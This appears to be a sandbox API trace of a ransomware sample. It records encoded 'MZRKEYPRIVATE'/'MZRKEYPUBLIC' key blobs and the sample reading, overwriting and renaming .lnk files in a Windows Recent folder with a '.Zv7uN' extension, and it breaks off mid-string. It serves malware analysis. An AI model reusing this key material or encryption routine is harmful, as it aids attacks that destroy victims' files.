lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.932] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.934] GetCurrentThreadId () returned 0xa30 [0079.934] GetCurrentThreadId () returned 0xa30 [0079.934] GetCurrentThreadId () returned 0xa30 [0079.935] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.935] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.935] GetCurrentThreadId () returned 0xa30 [0079.935] GetCurrentThreadId () returned 0xa30 [0079.935] GetCurrentThreadId () returned 0xa30 [0079.936] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\anR_vEBPJQoHgy6nuS.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\anr_vebpjqohgy6nus.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.936] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.936] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.936] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x26b [0079.936] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.936] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x26b, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x26b, lpOverlapped=0x0) returned 1 [0079.938] CloseHandle (hObject=0x124) returned 1 [0079.938] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\anR_vEBPJQoHgy6nuS.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\anr_vebpjqohgy6nus.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.941] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x26b, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x26b, lpOverlapped=0x0) returned 1 [0079.943] CloseHandle (hObject=0x124) returned 1 [0079.944] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\anR_vEBPJQoHgy6nuS.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\anr_vebpjqohgy6nus.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\anR_vEBPJQoHgy6nuS.flv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\anr_vebpjqohgy6nus.flv.lnk.zv7un")) returned 1 [0079.946] GetCurrentThreadId () returned 0xa30 [0079.946] GetCurrentThreadId () returned 0xa30 [0079.946] GetCurrentThreadId () returned 0xa30 [0079.946] GetCurrentThreadId () returned 0xa30 [0079.946] GetCurrentThreadId () returned 0xa30 [0079.946] GetCurrentThreadId () returned 0xa30 [0079.946] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe218eb20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3cc34b60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3cc34b60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x93b, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="AQq3p.lnk", cAlternateFileName="")) returned 1 [0079.946] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.946] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.946] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AQq3p.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\aqq3p.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe218eb20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3cc34b60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3cc34b60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x93b)) returned 1 [0079.947] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AQq3p.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\aqq3p.lnk")) returned 0x20 [0079.947] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AQq3p.lnk", dwFileAttributes=0x80) returned 1 [0079.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw5